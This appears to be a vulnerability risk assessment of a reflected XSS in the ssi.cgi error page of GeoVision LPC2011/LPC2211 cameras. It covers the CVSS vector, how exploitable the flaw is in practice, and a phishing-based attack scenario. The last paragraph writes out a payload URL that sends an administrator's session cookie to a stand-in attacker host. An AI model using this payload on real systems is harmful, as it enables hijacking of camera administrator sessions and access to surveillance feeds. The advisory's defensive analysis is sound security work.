GeoVision LPC2011/LPC2211 CVE-2026-7371

Requires victim user interaction (UI:R) - specifically, an authenticated or unauthenticated user (typically an administrator) must click a specially crafted malicious URL pointing to the vulnerable ssi.cgi endpoint. No authentication is required for the attacker to deliver the payload (PR:N), meaning the XSS triggers even for unauthenticated visitors, but practical impact requires the victim to have an active authenticated session to the camera's web interface for session hijacking. Exploitation is limited to web interface deployments where the camera is reachable over HTTP/HTTPS from the attacker's position (network or internet access to port 80/443). The vulnerability specifically triggers through error message handling for non-existing page requests, so it requires the ssi.cgi component to be active and accessible. Changed scope (S:C) indicates the JavaScript executes with access to authentication tokens and session data beyond the vulnerable component itself, but this requires the victim browser to have an existing session. Not exploitable through automated scanning alone due to the UI:R requirement - successful exploitation demands social engineering or watering hole tactics targeting camera administrators.

Real-world risk is moderate despite the 7.4 CVSS score. The CVSS vector shows network-based attack (AV:N) with low complexity (AC:L) but critically requires user interaction (UI:R) and has no authentication barrier (PR:N). The high confidentiality impact (C:H) with changed scope (S:C) reflects the potential for administrative session hijacking in IP camera management interfaces, which could expose live surveillance feeds and physical security controls. However, this is not a point-and-click remote compromise - it requires social engineering to trick administrators into clicking malicious links, significantly limiting at-scale automated exploitation. No CISA KEV listing suggests this vulnerability is not being exploited in widespread campaigns, and the UI:R requirement makes it unsuitable for worm-like propagation. The RCE tag in metadata appears inaccurate - this is XSS enabling client-side JavaScript execution, not server-side remote code execution. Primary risk scenario is targeted phishing against organizations using these cameras for physical security, where an attacker with physical or network reconnaissance capability identifies the camera model and crafts spear-phishing URLs to compromise administrator sessions. The 2026 CVE ID year suggests this may be a recent or upcoming disclosure; enterprises should prioritize based on whether these specific camera models are internet-exposed versus air-gapped on security networks.

Attacker performs network reconnaissance to identify internet-exposed GeoVision LPC2011/LPC2211 cameras on ports 80/443, then crafts a phishing email to facility security personnel containing a malicious URL like https://[camera-ip]/ssi.cgi/non_existing_page?<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>. When the administrator clicks the link (UI:R requirement), the camera's error handler reflects the unescaped JavaScript, executing it in the admin's browser session with the camera's origin, exfiltrating authentication cookies to the attacker's server. Attacker uses stolen session to access camera feeds, modify recording settings, or disable surveillance during a physical security breach. Publicly available exploit code status unknown but the Talos Intelligence disclosure provides sufficient technical detail for weaponization.